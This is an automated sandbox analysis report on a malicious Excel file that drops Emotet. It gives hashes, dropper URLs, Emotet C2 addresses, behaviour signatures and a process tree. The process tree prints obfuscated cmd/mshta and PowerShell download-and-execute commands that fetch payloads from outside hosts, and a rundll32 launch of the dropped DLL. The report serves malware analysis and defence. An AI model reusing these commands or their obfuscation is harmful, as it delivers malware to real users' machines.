Analysis

  • max time kernel
    119s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 09:21

General

  • Target

    0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls

  • Size

    142KB

  • MD5

    4a6e6eb651b36033ebe4633272c55809

  • SHA1

    b4d909eb36dfd09c9c885ea6b146c6a45fb85bfc

  • SHA256

    0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c

  • SHA512

    fef1420a255b15085b3eb26273f426dba6b557d2d30db435bc17a6ae8ef37f4b13b71b6191aa6fec6161611b0ae5cae96f393e2ad24bda5935c8a834b42d01cb

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2328
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3056
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1176
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2192
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3280
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3252
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:2444
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hqdxvhernnqi\oprwww.nuj",GRBJfbGtWNyhzh
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2024
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hqdxvhernnqi\oprwww.nuj",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:364
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 3396 -s 1792
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1244

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/364-748-0x0000000000F40000-0x0000000000F66000-memory.dmp

      Filesize

      152KB

    • memory/2024-744-0x0000000004660000-0x0000000004686000-memory.dmp

      Filesize

      152KB

    • memory/2192-398-0x0000016110B00000-0x0000016110B22000-memory.dmp

      Filesize

      136KB

    • memory/2192-613-0x0000016110B40000-0x0000016128CF0000-memory.dmp

      Filesize

      385.7MB

    • memory/2192-692-0x0000016110B40000-0x0000016128CF0000-memory.dmp

      Filesize

      385.7MB

    • memory/2192-449-0x0000016128C80000-0x0000016128CBC000-memory.dmp

      Filesize

      240KB

    • memory/2192-479-0x0000016128EA0000-0x0000016128F16000-memory.dmp

      Filesize

      472KB

    • memory/2192-521-0x0000016110B40000-0x0000016128CF0000-memory.dmp

      Filesize

      385.7MB

    • memory/2328-121-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-115-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-128-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmp

      Filesize

      64KB

    • memory/2328-117-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-118-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-129-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmp

      Filesize

      64KB

    • memory/2328-782-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-781-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-780-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-779-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2328-116-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2444-725-0x0000000000CA0000-0x0000000000CC6000-memory.dmp

      Filesize

      152KB

    • memory/2444-747-0x00000000048D0000-0x00000000048F6000-memory.dmp

      Filesize

      152KB

    • memory/2444-743-0x0000000004B00000-0x0000000004B26000-memory.dmp

      Filesize

      152KB

    • memory/2444-734-0x00000000049B0000-0x00000000049D6000-memory.dmp

      Filesize

      152KB

    • memory/2444-732-0x0000000004950000-0x0000000004976000-memory.dmp

      Filesize

      152KB

    • memory/2444-729-0x0000000001040000-0x0000000001066000-memory.dmp

      Filesize

      152KB